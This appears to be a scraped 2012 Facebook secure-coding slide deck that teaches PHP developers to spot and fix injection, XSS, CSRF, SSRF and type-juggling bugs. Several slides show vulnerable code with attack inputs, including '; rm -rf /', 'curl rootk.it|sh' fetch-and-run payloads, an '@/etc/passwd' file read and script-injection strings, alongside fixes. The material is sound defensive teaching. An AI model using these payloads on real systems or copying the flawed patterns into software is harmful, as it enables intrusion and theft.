![Page 1: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/1.jpg)
![Page 2: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/2.jpg)
Facebook Secure Coding PracticesWrite less clowny code
Ryan PattersonSoftware Engineer, FacebookJuly 8, 2012
![Page 3: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/3.jpg)
Why security mattersSecurity is a product goal
▪ Privacy: protect users' data
▪ Authenticity: actions on the site should be real
▪ Reputation: bad press means less growth
![Page 4: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/4.jpg)
Spot the vulnerability!
![Page 5: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/5.jpg)
$sql = "SELECT user_id FROM login_emails " . "WHERE email = '" . $email . "'";
![Page 6: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/6.jpg)
SQL injection
$sql = "SELECT user_id FROM login_emails " . "WHERE email = '" . $email . "'";
Attack vector:
![Page 7: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/7.jpg)
SQL injectionUse an abstraction
Example: parameterized SQL queries
queryfx($conn, 'SELECT user_id FROM login_emails' . 'WHERE email = %s', $email);
![Page 8: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/8.jpg)
$html .= '<a class="item_comment_name" ' . 'href="' . $href . '">' . $name . '</a>';
![Page 9: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/9.jpg)
Cross-site scripting (XSS)
$name = '<script> ... </script>';$href = '/#"><script> ... </script>'; // valid URL!$html .= '<a class="item_comment_name" ' . 'href="' . $href . '">' . $name . '</a>';
Produces:
<a class="item_comment_name" href="/#"><script> ... </script>">
![Page 10: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/10.jpg)
Cross-site scripting (XSS)
Escape HTML special characters.
$name = '<script> ... </script>';$href = '/#"><script> ... </script>'; // valid URL!$html .= '<a class="item_comment_name" ' . 'href="' . htmlspecialchars($href) . '">' . htmlspecialchars($name) . '</a>';
Produces:
<a class="item_comment_name" href="..."> <script> ... </script></a>
![Page 11: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/11.jpg)
This is still badTwo types
▪ raw-str — PHP string containing text
▪ html-str — PHP string containing safe HTML
▪ Both are PHP strings — basically indistinguishable
$str = 'Ben'htmlspecialchars($str) = 'Ben'
![Page 12: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/12.jpg)
This is still badHard/impossible to understand code
// Is this safe?echo '<b>' . $name . '</b>'
![Page 13: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/13.jpg)
This is still badHard/impossible to understand code
$name = htmlspecialchars($foo->getName());
// Is this safe? Yes.echo '<b>' . $name . '</b>'
![Page 14: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/14.jpg)
This is still badHard/impossible to understand code
if ($foo) { $name = htmlspecialchars($foo->getName());} else { $name = $bar['name'];}
// Is this safe? Who knows?!echo '<b>' . $name . '</b>'
![Page 15: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/15.jpg)
This is still badHard/impossible to understand code
Some functions take raw-str, some take html-str, some…
/** * @param html-str $content * @param raw-str $href * @param raw-str $class * ... */function render_link($content, $href, $class, ...) {
![Page 16: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/16.jpg)
Use an abstractionFrom our JavaScript kit:
$N('a', { class: 'item_comment_name', href: href}, name);
Might produce:
<a class="item_comment_name" href="..."> Name</a>
![Page 17: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/17.jpg)
Introducing XHPhttps://github.com/facebook/xhp/
$raw_str = 'Ben'; $xhp = <b>{$raw_str}</b>;
Gets transformed into an object:
$xhp = new xhp_b(array($raw_str));
XHP and raw-str and be mixed:
$div = <div>{$raw_str}{$xhp}</div>;
![Page 18: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/18.jpg)
Introducing XHPhttps://github.com/facebook/xhp/
▪ XHP allows us to get rid of html-str completely.
▪ But we have a lot of legacy code.
▪ To create an html-str now, simply call POTENTIAL_XSS_HOLE($raw_str)
![Page 19: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/19.jpg)
XSSDetector▪ Automatic XSS detection is actually pretty easy.
$str = 'Ben'; txt2html($str) = 'Ben';
▪ Scan your generated output. Anytime 'e' appears is an XSS hole.
▪ "e" means double-escaping — not XSS.
![Page 20: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/20.jpg)
$url = 'https://othersite.com/set_status.php' . '?user=' . loggedin_user() . '&message=' . $message_from_user;return fetch_url($url);
![Page 21: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/21.jpg)
URL injection attack
$message_from_user = 'Hello&user=4';$url = 'https://othersite.com/set_status.php' . '?user=' . loggedin_user() . '&message=' . $message_from_user;return fetch_url($url);
.../set_status.php?user=123&message=Hello&user=4
![Page 22: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/22.jpg)
URL injection attackUse an abstraction
$uri = URI('https://othersite.com/set_status.php') ->addQueryData('user', loggedin_user()) ->addQueryData('message', $message_from_user);
With this, "&" becomes "%26", etc.
$message_from_user = 'Hello&user=4';.../set_status.php?user=123&message=Hello%26user%3D4
![Page 23: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/23.jpg)
function file_web_get($url, $file) { $wget = "wget -q -O $file $url"; exec($wget, $output, $ret); return !$ret;}$temp = new TempFile();file_web_get($url_from_user, $temp)
![Page 24: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/24.jpg)
Shell injection attack
$url_from_user = '; rm –rf /';function file_web_get($url, $file) { $wget = "wget -q -O $file $url"; exec($wget, $output, $ret); return !$ret;}$temp = new TempFile();file_web_get($url_from_user, $temp)
![Page 25: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/25.jpg)
Shell injection attackUse an abstraction
list($stdout, $stderr) = execx('wget -q -O %s %s', $file, $url);
![Page 26: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/26.jpg)
Bug class
SQL injection
Cross-site scripting (XSS)
URL parameter injection
Shell injection
What do these bugs have in common?
![Page 27: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/27.jpg)
Bug class External service Request type
SQL injection MySQL SQL query
Cross-site scripting (XSS) User's browser HTML
URL parameter injection Remote websites URL
Shell injection Other programs Shell script
What do these bugs have in common?
![Page 28: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/28.jpg)
Bug class External service Request type Conduit
SQL injection MySQL SQL query String
Cross-site scripting (XSS) User's browser HTML String
URL parameter injection Remote websites URL String
Shell injection Other programs Shell script String
What do these bugs have in common?
![Page 29: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/29.jpg)
String catenation is evilUse an abstraction
▪ Parameterized SQL
▪ XHP
▪ URI class
▪ execx
Evil Mr. Period is evil.
![Page 30: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/30.jpg)
require_login();$question_id = (int) $_GET['question_id'];$vote = (int) $_GET['vote'];if ($question_id && $vote) { $answer_editor = new AnswerEditor( get_user_id(), $question_id); $answer_editor->setVote($vote)->save();}
![Page 31: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/31.jpg)
Cross-site request forgery (CSRF)
require_login();$question_id = (int) $_GET['question_id'];$vote = (int) $_GET['vote'];if ($question_id && $vote) { $answer_editor = new AnswerEditor( get_user_id(), $question_id); $answer_editor->setVote($vote)->save();}
Other sites can force a user to vote on this:
<img src="http://www.facebook.com/questions/ permalink.php?question_id=1234&vote=1" />
![Page 32: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/32.jpg)
Cross-site request forgery (CSRF)
Not just GET requests:
<form id="foo" action="..." method="post"> <input name="question_id" value="1234" /> <input name="vote" value="1" /></form><script>$('foo').submit();</script>
![Page 33: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/33.jpg)
Cross-site request forgery (CSRF)
Need to include an unguessable token:
<input type="hidden" name="fb_dtsg" value="7xDa4" />
▪ Use an abstraction
▪ At Facebook, our <ui:form> XHP element handles this.
▪ CSRF bypasses firewalls!
![Page 34: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/34.jpg)
Cross-site request forgery (CSRF)▪ Remote sites can include JavaScript files from your site.
▪ Any JSON endpoint can be included.<script src="http://www.facebook.com/ chat_online.json"></script>
▪ Use a guard string that prevents JS execution:for(;;);{response: "Normal JSON response"}
▪ Strip guard before parsing.
![Page 35: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/35.jpg)
function photo_code($user, $album) { $secret = get_user_secret($user); return substr( md5('super secret' . $secret . $album), 5, 5);}
Used for public photo links:
http://www.facebook.com/album.php ?user=1234&album=4&hash=5a3ff
![Page 36: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/36.jpg)
Brute force attack
function photo_code($user, $album) { $secret = get_user_secret($user); return substr( md5('super secret' . $secret . $album), 5, 5);}
Used for public photo links:
http://www.facebook.com/album.php ?user=1234&album=4&hash=5a3ff
Only 165 = 1 million possibilities. This was brute forced!
![Page 37: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/37.jpg)
public static function isWikipediaURL($url) { return ends_with( URI($url)->getDomain(), 'wikipedia.org');}
![Page 38: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/38.jpg)
Random clowniness
public static function isWikipediaURL($url) { return ends_with( URI($url)->getDomain(), 'wikipedia.org');}
http://steal-my-info-wikipedia.org/
![Page 39: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/39.jpg)
$c = curl_init();
...
curl_setopt($c, CURLOPT_URL, $url_from_user);$data = curl_exec($c);
![Page 40: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/40.jpg)
Internal proxying
$url_from_user = 'http://intern/wiki/confidential';$c = curl_init();
...
curl_setopt($c, CURLOPT_URL, $url_from_user);$data = curl_exec($c);
▪ Bypass firewall, access internal servers
▪ Can attack non-HTTP services as well
▪ Use an abstraction
![Page 41: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/41.jpg)
function curl_exec_external($req) { $domain = $req->url->getDomain(); $ip = gethostbyname($domain); if ($ip && !is_internal_ip($ip)) { curl_exec($req); ... } }
![Page 42: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/42.jpg)
Check-to-use race
function curl_exec_external($req) { $domain = $req->url->getDomain(); $ip = gethostbyname($domain); if ($ip && !is_internal_ip($ip)) { curl_exec($req); ... } }
gethostbyname behaves differently from curl_exec, so the curl might hit a different IP address.
![Page 43: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/43.jpg)
Check-to-use race
Round-robin DNS:
evil.com -> 10.10.10.10, 6.6.6.6
Or use IDN:
🐤.evil.com -> 10.10.10.10 xn--so8h.evil.com -> 6.6.6.6
![Page 44: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/44.jpg)
$req = json_decode($_POST['blob']); $sig = sign_request( $req['path'], current_user()); if ($sig == $req['signature']) { // do something with the path }
![Page 45: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/45.jpg)
PHP is awesome
$req = json_decode($_POST['blob']); $sig = sign_request( $req['path'], current_user()); if ($sig == $req['signature']) { // do something with the path }
Attacker wins 40% of the time with:
{ 'path': '...', 'signature': 0 }
![Page 46: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/46.jpg)
PHP is awesome
$req = json_decode($_POST['blob']); $sig = sign_request( $req['path'], current_user()); if ($sig == $req['signature']) { // do something with the path }
Attacker wins 40% of the time with:
{ 'path': '...', 'signature': 0 }
And 100% of the time with:
{ 'path': '...', 'signature': true }
![Page 47: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/47.jpg)
PHP is awesome
Solution: use ===
if ($sig === $req['signature']) { // do something with the path }
![Page 48: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/48.jpg)
if(levenshtein($row['security_answer'], $answer_from_user) < 2) { // the user answered their security question // correctly, mostly update_password($user, $pass);}
![Page 49: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/49.jpg)
PHP is awesome
$answer_from_user = 'aaaaa...aaaaa';if(levenshtein($row['security_answer'], $answer_from_user) < 2) { // the user answered their security question // correctly, mostly update_password($user, $pass);}
levenshtein returns -1 if one of the argument strings is longer than the limit of 255 characters.
![Page 50: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/50.jpg)
// Part of the FBML parser public function node_get_safe_attrs($attrs) { foreach ($attrs as $attr => $val) { if (strtolower(substr($attr, 0, 2)) === 'on') { unset($attrs[$attr]); } } return $attrs; }
![Page 51: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/51.jpg)
Blacklists are bad
// Part of the FBML parser public function node_get_safe_attrs($attrs) { foreach ($attrs as $attr => $val) { if (strtolower(substr($attr, 0, 2)) === 'on') { unset($attrs[$attr]); } } return $attrs; }
New formaction attribute in HTML5:
<button form="test" formaction="javascript:alert(1)">
![Page 52: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/52.jpg)
$words = explode(' ', $search_query_from_user); $regexp = implode("|", $words); $pattern = '/\b('.$regexp.')\b/Ui'; preg_match($pattern, $data, $matches);
![Page 53: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/53.jpg)
Unescaped regular expressions
$search_query_from_user = '(aa+)\1+b'; $words = explode(' ', $search_query_from_user); $regexp = implode("|", $words); $pattern = '/\b('.$regexp.')\b/Ui'; preg_match($pattern, $data, $matches);
Denial of service attack.
Need to escape regex metacharacters.
![Page 54: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/54.jpg)
Unescaped regular expressions
$words = explode(' ', $search_query_from_user); foreach ($words as &$word) { $word = preg_quote($word, '/'); } unset($word); $regexp = implode("|", $words); $pattern = '/\b('.$regexp.')\b/Ui'; preg_match($pattern, $data, $matches);
Note the critical second argument to preg_quote.
![Page 55: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/55.jpg)
Unescaped regular expressions
This actually allows arbitrary code execution:
$s = preg_replace('/' . $_GET['foo'] . '/', $_GET['bar'], $s);
![Page 56: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/56.jpg)
Unescaped regular expressions
This actually allows arbitrary code execution:
$_GET['foo'] = "^./e\0"; $_GET['bar'] = '`curl rootk.it|sh`'; $s = preg_replace('/' . $_GET['foo'] . '/', $_GET['bar'], $s);
![Page 57: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/57.jpg)
function get_translation($txt) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, 'http://3rdpar.ty/'); curl_setopt($c, CURLOPT_POSTFIELDS, array('target-lang' => 'en', 'text' => $txt)); return curl_exec($c); }
![Page 58: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/58.jpg)
Surprising library behavior
function get_translation($txt) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, 'http://3rdpar.ty/'); curl_setopt($c, CURLOPT_POSTFIELDS, array('target-lang' => 'en', 'text' => $txt)); return curl_exec($c); }
Attack:
/translate.php?txt=@/etc/passwd
![Page 59: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/59.jpg)
<a href={$url_from_user}> {$url_from_user} </a>
![Page 60: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/60.jpg)
XHP doesn't always keep you safe
$url_from_user = 'javascript:alert(1)'; <a href={$url_from_user}> {$url_from_user} </a>
Use an abstraction. At Facebook, <ui:link> checks for this.
![Page 61: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/61.jpg)
Clowntown▪ The examples in this presentation were taken from Facebook
source code.
▪ We don't write flawless code.
![Page 62: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/62.jpg)
Whitehat program
![Page 63: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/63.jpg)
Whitehat program
https://www.facebook.com/whitehat/
▪ Dig into Facebook
▪ Make a test user account
▪ Don't break our site or steal user data
▪ Report a vulnerability
▪ Give us time to fix it
▪ Get paid (typical bounty is $500 USD)
![Page 64: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/64.jpg)
Takeaways▪ String concatenation is bad.
▪ Use an abstraction.
▪ Blacklists are bad. Instead, list things that are allowed.
▪ Review code carefully. All code is guilty until proven innocent.
▪ XHP: https://github.com/facebook/xhp/
▪ Whitehat program: https://www.facebook.com/whitehat/
▪ Facebook Security: https://www.facebook.com/security
![Page 65: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/65.jpg)
Questions and more games
![Page 66: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/66.jpg)
$url = URI($url_from_user);echo '<link rel="canonical" ' . 'href="' . $url->toString() . '" />';
![Page 67: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/67.jpg)
XSS
$url_from_user = '/#"><script> ... </script>';$url = URI($url_from_user);echo '<link rel="canonical" ' . 'href="' . $url->toString() . '" />';
![Page 68: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/68.jpg)
$url = $this->requestURI;$meta = <meta http-equiv="refresh" content="0; URL={$url->toString()}" />;
![Page 69: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/69.jpg)
Open redirect
$url_from_user = '/#;URL=http://evil/';$url = $this->requestURI;$meta = <meta http-equiv="refresh" content="0; URL={$url->toString()}" />;
![Page 70: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/70.jpg)
Expiring hash
/** * create an hash string that expires by $expiration * as determined by validate_expiring_hash * @param int $expiration time to expire * @return hash string that is validated by * only before $expiration */function encode_expiring_hash($expiration) { return $expiration . ':'. md5($expiration . SERVER_SECRET);}
![Page 71: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/71.jpg)
MVC
$controller = $_GET['controller'];$view_id = $_GET['view_id'];$tab = new $controller($view_id, '_foo');$tab->blork();
![Page 72: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/72.jpg)
MVC
$controller = $_GET['controller'];$view_id = $_GET['view_id'];$tab = new $controller($view_id, '_foo');$tab->blork();
/foo.php?controller=ExecFuture &view_id=curl+rootk.it|sh
![Page 73: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/73.jpg)
Unescaped regexp
$html = preg_replace( '/' . preg_quote($search_query) . '/i', '<span class="highlight">$0</span>', $html);
![Page 74: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/74.jpg)
Unescaped regexp
$search_query = "/e\0";$html = '{`curl rootk.it|sh`}';$html = preg_replace( '/' . preg_quote($search_query) . '/i', '<span class="highlight">$0</span>', // yay XHP! $html);
![Page 75: Facebook Secure Coding Practices Write less clowny code Ryan Patterson Software Engineer, Facebook July 8, 2012](https://reader036.vdocuments.mx/reader036/viewer/2022062423/56649efd5503460f94c10f12/html5/thumbnails/75.jpg)
(c) 2009 Facebook, Inc. or its licensors. "Facebook" is a registered trademark of Facebook, Inc.. All rights reserved. 1.0